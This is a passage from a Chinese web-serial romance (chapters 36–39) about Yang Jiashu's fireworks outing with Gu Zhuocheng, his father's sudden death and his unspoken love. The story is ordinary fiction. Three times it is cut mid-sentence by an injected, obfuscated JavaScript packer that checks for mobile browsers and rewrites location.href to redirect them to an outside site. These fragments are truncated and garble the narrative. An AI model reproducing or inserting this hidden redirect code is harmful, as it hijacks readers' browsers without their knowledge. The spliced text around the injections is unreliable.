帅哥在哪里都引人瞩目,顾琢成打枪的样子没一会儿就吸引了很多观众,他的枪法挺好的,十发能中个六七发,杨嘉树偷偷拍了很多照片,顾琢成很专注,估计没发现别人在偷拍他。最后五十发子弹打完,换了一只特别大的垂耳兔玩偶,杨嘉树嫌抱着兔子不方便,就先寄存在摊主这儿了,等下回去的时候再过来拿。 杨嘉树买的席位是VVVVIP的,视野特别好,人也不多,而且素质看上去都蛮高,说话轻声细语的,生怕打扰到别人。他买了一些章鱼烧,炒面,路上吃了大半,剩下的全进顾琢成肚子里了。 时间还早,杨嘉树跟顾琢成面对面坐着,聊天,今晚的天气真好,微风润而不躁,适合谈心。杨嘉树注意到旁边有个长得特别像年轻时的中森明菜的日本女孩儿,悄悄看了她好几眼,其实,只是出于对美的欣赏,顾琢成却误以为杨嘉树对人家“一见钟情”,提醒道:“她有男朋友了。”刚刚还趁人不注意跟男朋友接吻呢。 杨嘉树连忙把手放到嘴巴前,“嘘”了一声:“你低调点,万一人家听得懂普通话呢。” 顾琢成耸耸肩:“我看你好像陷进去了,提醒你一下。” “切,你不也在偷偷看美女。” 这是完完全全的污蔑,顾琢成皱起眉毛,刚想反驳,杨嘉树的嘴快得跟机关枪一样,完全不给他说话的机会:“你到底喜欢什么样的啊?到现在一个女朋友都没谈过,你不会是Gay吧?”杨嘉树装得很像,双手捂胸作惊恐状,两只眼睛瞪得跟铜铃一样,夸张地说,“你不会……暗恋我吧?天呐,千万不要,我很直,比钢筋还要直,就算我们是好兄弟,我也不会为你而弯的,我喜欢香香软软的萌妹纸……” “……”顾琢成黑线,“你吃错药了?” “咳咳。”杨嘉树恢复正常,嘀咕道,“开个玩笑嘛,你不觉得有点无聊吗。” 等待确实很无聊,吃饱喝足,杨嘉树有点想上厕所,就叫上顾琢成一块儿去找厕所。 经过一条幽静的小路,杨嘉树怀疑是不是找错地方了,怎么一个人都没有,顾琢成指着一个写着“Toilet ”的标识牌,说:“没错吧,烟花快开始了,大家都去看烟花了吧。” “诶哟,那我得快点!” 顾琢成在外面等他。 没一会儿,杨嘉树出来了,后面跟着几个簇拥在一起的日本女孩儿,穿着华丽的和服、头上别着各色小花,她们本来就觉得杨嘉树长得好看,想上去搭讪,没想到外面还有一个更帅的帅哥,霎时间,女孩儿们的脚步变慢了,悄悄整理自己的衣襟和发髻,你推着我、我推着你,扭扭捏捏地往前走。 这么靓丽的风景线,顾琢成的注意力却全在杨嘉树的身上,杨嘉树挑了一件蓝白色的浴衣,尺码应该有点大,松松垮垮地罩在身上。其实,杨嘉树跟大学时代比瘦了很多,大学的他有点婴儿肥,而且很喜欢笑,笑的时候眼睛眯起来,露出洁白的牙齿,像小动物一样可爱。长大后的杨嘉树褪去了婴儿肥,可有时还是会在不经意间显露出一些稚气——非常难以捕捉,所以顾琢成总是忍不住将视线放在杨嘉树的身上,不愿意错过他每一个可爱灵动的瞬间。 “走吧。”不知不觉间,杨嘉树走近了,歪头看着顾琢成,说。 两人肩并着肩,往会场中心走。 因为穿了不舒服的鞋子,所以走得特别慢,杨嘉树早就开始抱怨,说早知道就穿自己的鞋子来了,这三角拖穿在脚上一点都不舒服,又硬又重,磨得脚丫子生疼。杨嘉树说这话的时候恨不得把脚丫子伸出来,岔开脚趾给顾琢成看,硬生生忍住了。顾琢成说回去换双鞋,杨嘉树又不干,觉得这时候回去浪费时间……算了算了,还是忍着吧。最后找到要领,也穿习惯了。 几个女孩子你推我搡窃窃私语地绕过了他们,个个羞得满面通红,没一个敢上来搭讪的。 等她们走远,杨嘉树感慨道:“日本女孩儿都好胆小,刚刚她们要是大胆点,可能就会拥有一个特别帅的男朋友了。” “你说谁?” 说的是你,没看她们看你的眼神吗。可是这样就相当于在夸顾琢成帅,怪怪的,于是杨嘉树说:“说我,最中间那个粉色和服的妹子挺好看的,嘿嘿。” 顾琢成抿着嘴,没说话。 走到湖边上的时候,忽然有个年轻小伙子拉住杨嘉树,用普通话说:“帅哥,中国人吧?我看你今天打扮得挺靓丽的,特别适合拍照,我带了拍立得,要不给你拍一张?留个纪念。” 杨嘉树还以为是同胞送温暖来了,当下就摆好姿势,开心地说:“好啊,谢谢你!” 小伙子举起相机,“咔嚓”一声,对杨嘉树比了个“ok”的手势:“等等啊!” 没一会儿,相纸出来了,小伙子用两根手指头夹着相纸给杨嘉树看:“怎么样,好看吧?” 杨嘉树连连点头,“嗯嗯,好看。”拍立得拍出来的照片自带柔焦效果,杨嘉树感觉自己的脸都小了好几圈,看上去竟然有种朦胧的青涩感。 杨嘉树正要接过照片,小伙子的手忽然转了个弯,“嘿嘿”一笑,说:“老板,给个辛苦费呗,在这拍一晚上了,一口水都没喝上。” 杨嘉树:“………………” 顾琢成掏出手机,问小伙子:“多少钱?” “嘿嘿,给个十块二十块的,看老板您开心。” 顾琢成扫了二十块给他。 杨嘉树捏着照片,走出老远才不满地说:“这不强买强卖嘛!” 顾琢成盯着他手里的照片:“可是拍得挺好看的。” “嗯。”这点杨嘉树赞同,“可能专门学过摄影吧。” 等他们回到座位上,烟火大会刚刚开始,听说这场烟火足有两万发,要放一个半小时。很快,第一波烟花在不远处的湖面上绽放,很多人都站了起来,拿手机记录这盛大的一幕。 夜空被一朵一朵的烟花点亮,甚至能很清楚地看见不远处的富士山,杨嘉树不知道怎么回事,脑海里自动开始播放陈奕迅的《富士山下》,唱到“谁能凭爱意将富士山私有”时,杨嘉树心里忽然涌起一阵冲动,谁说不能呢?万一,他有这万分之一的幸运呢…… 杨嘉树一个冲动,叫了一声:“顾琢成。” 烟火的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567209|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音太大,顾琢成没听见。 杨嘉树又叫了一声。 这下顾琢成好像听见了,他转过头,疑惑地看着杨嘉树。 杨嘉树:“……” 该死的富士山,又跑到他嘴里去了。 顾琢成将头转了回去。 杨嘉树的心里堵得慌,在这一瞬间难过得很想哭。 他设想的是,也许在20000发烟花的摇旗呐喊、加油助威下,他能勇敢说出那三个字,没想到——就算烟花的声音大到能完全将他的声音盖住,他还是说不出口。 也许是心有感应,顾琢成转过头,恰好看见杨嘉树哗哗往下掉眼泪的一幕:“?” 杨嘉树指着上空不断绽放的烟花,“咳咳”两声,然后用口型说:“太——呛——啦!”但是这样似乎不能形容他“哭”的原因,于是他苦着脸,指着头顶上烟花燃尽产生的浓烟,然后一手捏住鼻子,一只手在鼻子前扇来扇去,解释“说”,“烟太大了,熏得我流眼泪!” 顾琢成看着他蹩脚比划的动作,竟然“噗嗤”一声,笑了。 杨嘉树:“?” 顾琢成一边笑,一边站起来,然后把杨嘉树也拉起来:“我们换个地方。” 杨嘉树没听清他在说什么,但还是乖乖跟着他走了。 顾琢成带他往沿河步道的方向走,这个地方人虽然多了点,但是没那么大烟,视野也不差,就是……挤了一点。挤到两人的身体紧紧挨在一起,杨嘉树把刚刚表白失败的伤心忘了,心里小鹿乱撞:“那个地方可是我花了好多钱买的……” 顾琢成没听清,特意把耳朵凑到杨嘉树的嘴巴边上:“你说什么?” “……没什么。” 虽然这个小插曲有点丢脸……可是,旁边掀起一股人浪,杨嘉树顺势抱住顾琢成的手臂,心想,这怎么不算因祸得福呢。 烟花结束比预计时间要早,提前了十分钟,杨嘉树有点饿了,查了查附近有家烤肉店,营业到凌晨十二点,于是他们又转道去吃烤肉。杨嘉树化身大胃王,把牛身上的每个部位都点了一遍(此处使用夸张手法),然后吃到不停打饱嗝,打道回府。 都快走到酒店了,杨嘉树才想起来先前射击换的玩偶忘拿了! “这个点,摊主肯定早走了吧。”顾琢成说。 “万一要是没走呢。”杨嘉树有点喜欢那个丑萌丑萌的小兔子。 “那回去看看吧。” 走到刚刚集市的入口处,杨嘉树就知道没戏了,里面空荡荡的,一个人影都没有。 于是又丧丧地走回酒店。 “你喜欢那个兔子啊?”顾琢成安慰他,“等回国我再给你买只一样的。” “……算了吧。”怎么能一样呢。 又呆了一天,要回国了,收拾行李的时候杨嘉树发现那天在烟花大会拍的照片好像不见了,找了一圈没找到,问顾琢成:“你看见我的照片了吗?” 顾琢成:“什么照片?” “就那天花二十块钱买的那张。” “没看见。” “好吧。”可能随手丢了吧,杨嘉树没放在心上。 这次旅行过后,杨嘉树就想着策划下一次,东南亚没什么好玩的……哦对了,夏天快到了,可以去泰国随便哪个岛屿玩玩,不知道顾琢成更喜欢普吉岛还是苏梅岛,时间允许的话可以都玩一玩…… 但是没想到接下来发生的一系列事,完全打乱了他的计划。 37.第 37 章 那天忽然下了场暴雨,杨嘉树早上出门的时候就觉得眼皮一直在跳,心也空空的不舒服,到单位,领导临时通知开会,刚讲了没两句,窗外亮起一道巨型闪电,随后就是震耳欲聋的雷鸣声,“轰隆隆”,雷声还没消散,雨就下下来了。瓢泼一样的大雨,伴随大风,领导半天不敢说话,末了憋出一句:“坏了,不会是冲我来的吧……” 大伙儿都笑了,领导也笑,干脆通知散会:“行了行了,会明天再开吧,你们该干嘛干嘛去,外出的小心点……” “别被雷劈!”有人接了句,大伙儿笑得更厉害了。 这时杨嘉树的手机响了,汕头的号,杨嘉树走出会议室,在门口接起来:“你好?” 对面有点吵,但是打电话的人嗓门很大,一口标准的广东话:“你是杨保发的家属吗?” “我是,怎么了。” “你爸突发脑溢血,现在在第一医院抢救,你赶紧过来吧!” 杨嘉树的脸瞬间白了,耳边响起一道尖锐的哨音。 后面同事见他堵在门口不出去,催促:“干嘛嘉树,雷没劈到我们亲爱的领导,劈到你啦?” 杨嘉树还保持着接电话的姿势,忽然间,他猛地转身,走到领导面前,哆嗦着说:“我要请假!” 领导看出他状态不对,关心地问:“怎么了小杨?出什么事了?” 杨嘉树尽量冷静地说:“我爸脑溢血,现在在医院抢救。” “诶哟!”领导吓了一跳,站起来说,“那你快去吧!赶紧先去机场,买最早的机票回去!那个谁,你开我的车,把小杨送到机场去!” 杨嘉树上了车,心里六神无主,慌得一直乱跳,刚刚那人是医生吗?在抢救,抢救成功了吗?他爸怎么会脑溢血,平时不是挺健康的吗?他在家昏倒的?还是在……杨嘉树的脑子一团乱麻,直到上了飞机都是木的,两点多到揭阳潮汕机场,这时杨嘉树心里已经有了非常不好的预感。他停在接驳廊桥上,迟迟不敢把手机开机,直到最后所有人都走了,空姐过来问他:“先生,有什么需要帮忙的吗?看您在这儿站了好久了。” 杨嘉树这才如梦初醒,他什么都没带,失魂落魄地走到行李转盘那里,开机,很多未接电话、短信一股脑地弹了出来,杨嘉树从一堆消息通知中看到他二叔发给他的微信:“你爸走了。” 霎时间,杨嘉树的大脑“嗡”地一声,什么都听不见了。 杨保发的遗体被运回老家祠堂,在这里办丧事。杨嘉树通知了亲戚、杨保发生前的朋友、几个玩具厂的老员工,然后给章芝仪打电话。 章芝仪很平静,她在三年前就跟杨保发离婚了,跟杨嘉树想的一样,她不回国,在电话里让杨嘉树节哀。 杨嘉树说:“那杨嘉苗呢,回来吗。” “他不回去,有你在就好。” “哦。”忽然间,杨嘉树感觉很委屈,他已经三年没叫过章芝仪妈妈了,三年间他们也很少联系,似乎失去杨保发这个纽带,杨嘉树跟章芝仪就没有任何关系了。眼睛里沉甸甸的,杨嘉树用力眨了眨眼,几颗泪水顺着脸颊落下来,“我还忙,就先挂了。” 事发突然,杨嘉树跟木偶一样处理完了老杨的后事,在整个葬礼期间,有一个短头发、体型微胖的年轻女孩儿,始终藏在人群中间,这是老杨的情人,也是导致老杨和章芝仪离婚的直接原因。 老杨会出轨,说出去所有人都不相信,可事实就是——它的确发生了。 玩具厂的人应该是最先知道的,女孩儿叫徐瑛,刚毕业没多久,在财务部当会计。她长得漂亮,是有点丰腴的类型,嘴甜,情商高,一见人就笑,不怪老杨被他吸引。两人是有过一个漫长的接触期的,可能老杨那时候也纠结,不愿做对不起章芝仪的事。但两口子长期分居,一方有偷吃的苗头,没有另一方的约束,真正吃到那只是时间问题而已。 半年不到,老杨就跟徐瑛勾搭在了一起,在玩具厂附近给她租了个房子,自己也住进去,两人过得比新婚夫妻还要甜蜜。老杨瞒得也挺好的,反正章芝仪跟杨嘉苗也只有寒暑假的时候才会回来,那段时间老杨就踏踏实实待在家,专心陪老婆孩子。 这件事还是杨嘉树先知道的,玩具厂有个老员工,叫张叔,张叔的儿子张达跟杨嘉树是朋友,关系还不错,有一年过年张达喊杨嘉树去打牌,在牌桌上说漏了嘴,“……你爸现在多潇洒啊,玩具厂不愁单子,夫人也不在,包个二奶天天带着……” 杨嘉树:“?” 张达:“呃。” 杨嘉树的表情很难看,盯着张达,一字一句地说:“怎么回事?什么二奶。” 当天章芝仪正好带着杨嘉苗去了姥姥家,杨嘉树开车回家,进门就指着老杨,说:“你还是不是人?” 老杨正翘着二郎腿坐在沙发上看电视呢,让杨嘉树给吼懵了:“什么……?” 杨嘉树把手机扔到老杨脸上,心中的怒气直往脸上冲,他的整张脸都红了:“你自己看!” 老杨不明所以,捡起杨嘉树扔过来的手机,一看,他的表情也变了,一张脸涨得通红——是羞愧,愧不可当,那上面正是他和徐瑛搂在一起的暧昧相片,他扣下手机,羞愧少了一点,紧张变多了:“谁发给你的?这是公司团建,我们在玩游戏……” “要不要我再给你看看其他照片?”杨嘉树冷冷地说。 “……”老杨的脸红了又白,白了又红,最终哀求似地跟杨嘉树说,“是爸错了,别告诉你妈!” 杨嘉树生气的原因正是在这里,他看着老杨,既失望又心寒:“你还好意思提我妈?她为了生杨嘉苗差点死在产房里,你都忘了?你还是不是男人啊?” 老杨垂着脸,一言不发。 杨嘉树骂了他几句,一开始生气,愤怒,不解,到最后只剩下浓浓的失望,“我不告诉她,希望你能尽快把这件事处理好,不然的话,你主动跟我妈离婚,净身出户,去跟她组成一个家庭——我也不再当你是我爸。”杨嘉树说完,就买当晚的机票回了北京。 后续当然是没断,老杨甚至还会把徐瑛带回家,杨嘉树内心反感至极,从此几乎就不再回家。他当然想过跟章芝仪说,但一是担心伤害到她,二……他也有自己的私心,现在章芝仪带着杨嘉苗在伦敦生活,娘俩儿过得还不错,万一她离婚后选择永居英国,自己岂不就成了没爹没妈的孩子? 但是不说又愧疚,导致杨嘉树越来越不敢给章芝仪打电话,就连接电话都有负担,于是渐渐地,他跟章芝仪就很少联系了。 两年后,章芝仪自己发现了这件事,坚决要跟老杨离婚,夫妻财产对半分,老杨每个月要给章芝仪打生活费,直到杨嘉苗毕业……挺可笑的,一对恩爱夫妻走了大半辈子,竟然也不能免俗,因为这种事情撕破脸面。 虽然章芝仪没说,但杨嘉树感觉她是有点怨自己的,怨他替老杨瞒着她……三年了,没有主动打过一个电话给杨嘉树。 一阵穿堂风吹过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨嘉树递给他一叠纸钱,顾琢成接过来,烧了。 纸钱一沾火就着,火苗随风跳动,映在人脸上,忽明忽暗的。 “你怎么过来的?”杨嘉树低声说,“飞机?” 顾琢成摇头:“高铁。” “要转车吧,没有直达的线路。” “嗯。” “从哪里转的?” “广州。” “累不累。” “还好。” “吃饭了吗?” “我不饿。” 杨嘉树站起来,“我去弄点吃的。” 跪太久,杨嘉树起了一半腿就软了,往下倒,顾琢成扶住他,宽大的孝服下面,杨嘉树的身体的瘦弱的、单薄的,顾琢成把他搀到旁边的椅子上,重复道:“我不饿。” 杨嘉树眨眨眼,说:“我饿了,晚上到现在都没吃饭。” “……那我去弄。”顾琢成无奈道,“厨房在哪里?” “还是我去吧,”杨嘉树很倔强,主要是担心顾琢成被当成贼打出去,厨房里可是有一堆女人的,“你在这等我。” 杨嘉树端了一个大盆过来,里面是晚上宴席的剩菜,上面盖着两个大馒头。 “吃吧。”杨嘉树把筷子递给顾琢成。 顾琢成看着盆子里手掌大的龙虾、螃蟹钳,还有堆成小山的鲍鱼、蛏王,瞳孔明显都变大了。 杨嘉树说:“怎么样,是不是很豪华,我们潮汕宴席的标配。” “嗯,可是怎么没有菜?” “蔬菜啊?” “嗯。” “诺,”杨嘉树用筷子扒了扒,扒出来一块茄子,“给你。” 38.第 38 章 吃完饭,杨嘉树继续守灵,顾琢成就在一旁陪着,两人偶尔说说话。 杨嘉树:“你见过我爸吧。” 顾琢成说:“嗯。”有一年在北京见的,杨嘉树跟爸爸长得不像,他爸肥头大耳,脸很宽,杨嘉树却生了一张美人脸,应该是随妈妈。幸好是随妈妈。 “他以前身体很好的,喜欢喝酒,每顿都喝,我妈常常叫他不要喝酒,他就说,应酬啦,没办法啊。你说他是不是喝酒喝多了,才会得脑溢血。” “可能是,过度饮酒对身体不好。” “他跟我妈分开,就没人管他了,大鱼大肉随便吃,喝酒,还纵欲,他不脑溢血谁脑溢血。” “……” “就是,其实,还是挺年轻的,有点可惜。” 顾琢成越听越难受,心疼。杨嘉树迄今为止的经历,其实挺坎坷的,他只是表面上看起来很幸福——评判一个人幸福与否的标准,不止要看他拥有什么,还要看他失去了什么。 对杨嘉树来说,生母的抛弃,继母的忽视,生父的大意,让他丢失了很多安全感,也许他在物质上非常富足,可是精神上……是残缺的。 杨嘉树就像一只蜗牛,把身体最柔软的部分藏在厚厚的壳里,伸出一对触手观察这个世界—— 顾琢成的目光落到杨嘉树搭在膝盖的双手上,他的手指细长,指甲圆润,是一双很漂亮的手,顾琢成依稀记得握住这双手的触感,柔软,温热,好像稍微用力就能将它搓成想要的形状。 忘记是谁说过,手软的人心也软,这句话没错,杨嘉树是个善良、心地柔软的人,他有时候很脆弱,只是习惯用坚强武装自己。 顾琢成的目光向上,落到杨嘉树脸上,那上面什么都没有,只是平静,可是顾琢成还是从他眼睛里读出浓浓的哀伤。霎时间,顾琢成感觉到一阵无法抑制的冲动,他想要紧紧抱住杨嘉树,把杨嘉树的外壳碾碎,让他钻进自己的保护壳中。 他抬起手,几乎马上就要这么做了,但是在手触到杨嘉树的一瞬间,他又退缩了—— 其实,某种程度上,他跟杨嘉树是一样的,一样胆小,因为害怕失去而不敢主动拥有。 他克制着,很轻地抱了一下杨嘉树,然后退回来,说了一句和刚见面时一样的话:“节哀顺变。” 杨嘉树在汕头待了两周,处理老杨的后事,老杨提前留了遗嘱,财产分成三份,一份给章芝仪,一份给杨嘉苗,一份给杨嘉树。杨嘉树没要自己那份,委托律师将遗产转赠给章芝仪,然后匆匆赶回北京。 那段时间,他过得很不好,父亲死亡带来的伤痛是持续的、越来越清晰的,杨嘉树感觉自己失去了很重要的东西,这种灵魂深处的空洞无论他做什么都不能填满,他一直不知道自己失去的是什么,直到有一天,他做梦梦到自己的母亲——是亲生的,那个他从来没见过的母亲,然后他忽然意识到自己失去了什么——自己的来处,和归宿。 杨嘉树想借工作来逃避这份伤痛,但是忽然之间,传来一个噩耗:新闻频道全面升级改版,杨嘉树服务了几年的《民生实录》忽然被通知停播,一时之间,群里吵翻了天,记者、编辑全都在问节目停了他们怎么办,领导安抚说,台里肯定会安排好的,调岗或是去别的栏目,一定会给大家一个说法。 杨嘉树静静看着乱跳的群消息,忽然感觉到一种诡异的平静,他的灵魂好像从身体里抽离,冷静地看着眼前发生的一切。 节目停播前有一段时间的调整期,杨嘉树照常工作,只是忽然好像闲下来了,不用每天千方百计想选题,约采访,也不用风雨无阻地每天都往外跑,不用写稿子,不用开会,不用今天还没过就开始担心明天—— 可是,杨嘉树感觉到一种钻心刺骨的空虚,让他整夜整夜地失眠,睁着眼睛直到天亮。 顾琢成担心杨嘉树走不出父亲离世的阴影,时不时打电话约他出来,可是他自己的工作也很忙,经常在两人约会的时候在电话里处理工作,久而久之,杨嘉树就不想打扰他了,谎称自己工作很忙,然后一个人待在屋子里发呆。 秋天,《民生实录》进入停播倒计时,杨嘉树像往常一样外出采访,写稿子,盯着剪辑,中途给自己点了一份红烧鱼外卖,吃到一半,领导打电话叫他:“小杨啊,你现在来我办公室一趟。” 杨嘉树把嘴里的饭下去,说:“领导,我还在吃饭,一会儿吃完饭去找您,可以么?” 领导:“好好好,你先吃饭。” 这个时间节点找他,一定是大事。果不其然,是为栏目组解散岗位分配的事情,领导说,杨嘉树现在有三个选择,“一个是你分到杨主任他们组去,干的呢还是你现在的工作,跑哪个口还未可知,反正去了就得服从安排;另一个,新媒体中心,未来的行业风口,岗位多,机会也多;再一个,是我私人推荐给你的,你要不要听一听?” 杨嘉树说:“领导,您说。” 领导语重心长地说:“小杨啊,我看你最近工作不在状态,心不在焉的,是不是前段时间你父亲去世,对你影响太大?唉,我理解,但是呢,人要向前看……”领导可谓是苦口婆心,劝杨嘉树看开点,末了说,“你想不想转行?当记者毕竟前途有限,尤其是民生记者,你看,论专业,人家跑时政的、跑财经的,哪个不比你有优势?论前景……我跟你说句实话,现在整个传媒行业都在走下坡路,台里下一步动作就是裁员、缩编,培养全能型人才,未来只会更难……” 杨嘉树听得脑袋发蒙,只抓住了最后的关键信息,领导想让他跨界做主持人,还是少儿频道的主持人,说杨嘉树长得有亲和力,笑容有感染力,一定特别讨小朋友的喜爱……云云。 杨嘉树从入职那天起就跟着领导,见证了对方的升迁,也一起经历了不少风雨,他知道领导一腔真心为自己,可是——杨嘉树知道这不应该,但是,他是动了辞职的念头的,把真心话告诉领导,领导像是早有预料一般,长叹了一口气:“你……唉,我就知道。但是我还是要劝一劝你,你出去,找的无非还是我们这个行业的工作,既然是同行,你跳出去那就是在走下坡路……这样吧,你先考虑考虑,我给你放几天假,你看看你想怎么转型,只要在我能力范围内,我都尽量给你安排——别冲动,好好想想将来的路该怎么走。” 从领导办公室出来,杨嘉树长长叹了口气,未来,未来会怎样来,现在谁又能知道呢。 他忽然觉得很孤独,一种深切而悠远的孤独。 在这个时刻,他能想到的只有顾琢成。于是他往拐角走,给顾琢成打电话。 响了好久才接,顾琢成那边有点吵:“嘉树?” “你在吃饭?” “嗯,公司聚餐,怎么了?” “没事,你吃。我就是打电话问问你这两天有没有空,聚一聚。” “什么时候?” “后天吧。” “好。” 挂了电话,杨嘉树回办公室收拾东西,车送去保养了,他今天坐地铁回家。11月份,北京正是深秋,夜晚的温度凉如水,杨嘉树走在回家的小路上,忽然间一阵秋风吹来,旁边的大树哗啦啦往下掉叶子,他怔住了,心中无法抑制地感到悲伤。 这条路人很少,左右看看,就只有飘零的落叶和昏黄的灯光,杨嘉树裹紧风衣外套,埋头快步赶回家中。 两年前他搬了家,从一个小套房搬到一个稍微大一点的套房,新家楼层不高,杨嘉树看中的是卧室落地窗望过去的一颗大树,树景有四季,四季有四季的美,秋天一到,树的叶子就变黄了,风一吹,叶子纷纷往下掉,有时候杨嘉树把窗户打开,还能收获几片漂亮的树叶。但可惜,杨嘉树平时工作很忙,已经很久没有透过窗子欣赏那么美的景色了。 他回到家,扑面而来的是满室的清冷和幽暗,没开灯,杨嘉树踢掉鞋子,穿过客厅,径直走到卧室,然后一头栽进柔软的大床里。 不知道过了多久,他翻过身,将目光投向窗外的枯树上。不知道是不是没开灯的缘故,杨嘉树觉得那树影巨大,在风中微微摇晃,好像一头巨大的野兽,向他露出尖利的獠牙。杨嘉树看了一会儿,走过去,把窗帘拉上,“唰”地一声,室内被纯粹的黑暗填满了。 他回到床上,打开手机微信,发现顾琢成发了新的朋友圈,是一张照片,照片里有一个熟悉的人,杨嘉树看了一眼,浑身的血液都冻住了。 就是一张很普通的聚餐照,但是,顾琢成身边坐了一个女性,她很漂亮,大波浪,敞开的风衣外套下是尽显女性柔美的花边领衬衫,不知道是拍照角度给人的错觉,还是他们本来就这么亲密——杨嘉树看到她几乎依偎在顾琢成的怀里,而顾琢成嘴角含着笑,手从她的后背伸出来,对着镜头举杯。 是Vivian,那个跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨嘉树紧紧抿着嘴,大脑和心脏同时感知到一股剧痛,他想大喊,想尖叫,想叫顾琢成不要再装了——可是他开口,大脑彷佛在执行什么诡异的程序一样,他听见自己说:“不是关心你。我看到你朋友圈发的照片了,你旁边那个美女是谁啊,长得好漂亮,可以介绍给我认识吗。” 电话那头,顾琢成很明显地停顿了。 他在想什么?想说她是我未来女朋友,你最好不要有其他想法吗。杨嘉树咬住下唇,牙齿用力,直到舌尖尝到一股腥味。 顾琢成说:“她是程雨薇,以前上游的同事,你见过她的。” “哦,我想起来了。”杨嘉树的表情木然,大脑也是混乱的,可是他身体里有一套应对顾琢成的程序,此刻正在自动运行,“她不是跳槽了吗,怎么你们还有联系。” “业务上有合作。”顾琢成简短地说。 “这样啊。她好像变漂亮了。” 啪嗒。天花板上掉下来一滴水,重重砸在杨嘉树脸上。 啪嗒、啪嗒。很快,水越来越多,杨嘉树的世界在下雨。 顾琢成又说了句什么,杨嘉树反应了一会儿才听清楚他在说什么,他说:“后天你来我家吧,我有事想跟你说。” “什么事?”杨嘉树泡在水里,一切声音都像是从很深、很深的海底传来。 “等你来了再说吧,我等你。” 挂断电话,杨嘉树彻夜未眠。他实在是恨透了自己,世界上最懦弱的人都要比他有勇气——不过就是爱上自己最好的朋友,有什么不敢说的? 最坏的结果无外乎就是绝交——绝交又有什么关系,难道除了这个朋友,你就没有其他朋友了? 有。 可是这个世界上,顾琢成只有一个。你把你的心放在他那里,早就成为他身体的一部分了;现在你要把这颗心要回来,无异于做一场器官切割手术,你能忍受这份痛苦吗? ——可以的,长痛不如短痛,反正你已经受够了,不是吗。 这是一个好机会,一个终结一切痛苦、走向新生的机会。 到了约定的那天,杨嘉树早早就起来做准备,天气有点冷,穿多了会显得臃肿,所以他选了风衣外套+薄毛衣的搭配,裤子就是普通的休闲裤,去镜子前一照,很好看,连他自己都忍不住心动的程度。 门铃响,他去开门,订的花到了,一捧圣洁的白玫瑰。 送花的是个年轻女孩子,见到杨嘉树眼前一亮:“您好先生,这是……您订的花?” 杨嘉树微微一笑:“是的。” 女孩的目光扫到鲜花中间夹着的卡片上,是一句表白的话,很简短,简短但有力: “I Love You,Forever & Always。” 她把花递给杨嘉树,衷心地说:“祝你表白成功!” “谢谢。” 39.第 39 章 杨嘉树捧着花,在家门口站了半个小时,他很紧张,紧张到手指都在颤抖,这个时候他不敢自己开车,于是选择打车到顾琢成家。 下午五点半,正好是晚高峰,车子在高架上堵住了。杨嘉树的心从出门那一刻开始就在跳,他紧张,却又满怀期待,也许、可能,有万分之一的机会,顾琢成也喜欢自己呢?假如他表白成功,那么,在顾琢成家里,他们会发生什么?也许会接吻,情难自禁的话,也可能会□□,可是他什么都没准备……杨嘉树被自己大胆的想象给吓住了,满脸通红,手足无措。他深呼吸,努力让自己平静下来—— 这是一个可能。可是,万一表白失败呢? 顾琢成肯定会很讶异,杨嘉树都能想象到他惊讶的表情了,没准还会惊慌失措:“嘉树,你……我,对不起,太突然了,可是,我是个直男啊,我只喜欢女人。” 哗啦—— 杨嘉树刚刚还火热的心瞬间被这盆冷水给浇灭了。 没关系,他安慰自己,也是有这个可能的,我做好心理准备了。 距离顾琢成家还有两公里的时候,又堵住了,杨嘉树的内心有点焦灼,忍不住频频伸长脖子往前看。司机见状,说:“帅哥,你赶时间啊?前面路口最近在施工,堵得很,没个十几二十分钟过不去的。” “啊?”杨嘉树愣住了,眉毛轻轻地拧起来。 赶——他倒是不赶,现在时间还早。可是这样坐着不动,实在是焦灼,简直如芒在背、如坐针毡。杨嘉树想了想,对司机说:“师傅,你放我下来吧,我有急事,要迟到了。” 下了车,杨嘉树小跑着往顾琢成家赶。 风把他的衣摆吹起来,今天气温很低,扑面而来的风已经有了冬的模样,杨嘉树奔跑着,心也很轻盈,也许是终于选择把这份心事说出去,让他提前有了如释重负的感觉,怎么不早点做这个决定呢?早一点,就不用这么累—— 啪嗒。 一滴水砸进杨嘉树的眼睛里。他眨眨眼,心想这是自己的汗水。 可是很快,更多的水滴砸了下来。杨嘉树这才意识到下雨了。 他跑得更快,要在自己彻底淋湿前赶到顾琢成的家里。 可是好像天不遂人愿,杨嘉树绊到一粒石子,“砰”地一声,重重摔倒在地上。杨嘉树第一时间护住自己的花,可是来不及,他摔出去,花也摔了出去。 好痛。 膝盖的位置传来一阵剧痛,杨嘉树忍着痛爬起来,去捡自己的花——没摔坏,可是在淋湿的地面滚了一圈,它脏了,纯白的包装和部分花朵沾染上一些污水,没有了一开始圣洁的模样。 对了——卡片呢? 很快,杨嘉树在绿化带的缝隙间找到了它,没有意外,被水淋湿了,有点脏。 这一刻,杨嘉树的内心是茫然的,没了花,他要怎么表白? 其实,没花也行,用嘴巴说、用行动表示也一样。况且花也没坏,擦擦就变干净了。 杨嘉树在心中给自己打气,抬起腿继续往前走。 走着走着,他发现不对——这条路有点陌生,似乎不是去顾琢成家的路。 心中的茫然更甚,杨嘉树掏出手机,点开导航系统,输入顾琢成家的地址—— 距离:3.2公里。 他走反了。 刹那间,一股巨大的无力感涌上杨嘉树的心头。身体在往下坠,比他的身体先掉下去的是他的花,然后他蹲下来,捂住脸,难受地哭了。 什么都在跟他作对,拥挤的路况,突如其来的雨,还有他蠢到可笑的方向感。 但是,比起这一切,杨嘉树发现阻挠他表白的最大的敌人——竟然是他的心。 